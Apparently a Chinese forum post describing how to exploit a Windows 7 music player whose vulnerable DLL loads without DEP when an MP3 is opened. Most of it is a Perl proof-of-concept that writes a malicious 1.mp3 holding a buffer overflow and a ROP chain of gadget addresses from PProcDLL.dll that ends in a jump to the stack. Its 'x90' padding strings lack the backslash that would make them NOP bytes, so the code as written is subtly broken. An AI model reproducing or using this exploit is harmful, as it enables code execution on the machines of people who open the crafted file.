默认情况下 WIN7 安装这个软件 对这个软件exe DEP是没开启的 如果这是这样的话，可能有点难度，如果能再给一个没有开启DEP的DLL那么就更好了
~_~ 更好破的说~_~
软件是一个音乐播放器，运行后 加载一个 MP3 才会加载漏洞DLL，并且 音乐播放完毕后，DLL没有卸载出 没有使用 FreeLibrary，
所以有EXE+DLL 两个没有 开启DEP 的地址让我们去利用

如果默认情况下~~~~~~~~~~~~~~~~WIN7 OPTIN下 这个软件没开启DEP
简便方法：Perl POC 如下：
my $file = "1.mp3";#perl
my $just= "A"x16;
$just = $just.pack('V',0x100FCB7F);# PUSH ESP # POP EDI # POP ESI # POP EBP # POP EBX # ADD ESP,2C # RETN [Module : PProcDLL.dll] **
$just = $just."x90"x60;
$just = $just.pack('V',0x100D7C2A);# PUSH EDI # PUSH 5F6C7789 # POP ESI # POP EBP # POP EBX # ADD ESP,14 # RETN 18 [Module : PProcDLL.dll] **
$just = $just."x90"x24;
$just = $just.pack('V',0x100346E8);# ADD EBP,0A4 # MOV ESP,EBP # POP EBP # RETN [Module : PProcDLL.dll] **
$just = $just."x90"x24; #top 0x18
$just = $just."x90"x56;
$just = $just.pack('V',0x10101BB8);# PUSH ESP # RETN [Module : PProcDLL.dll] **

这种情况就是对方的电脑开启了DEP optout
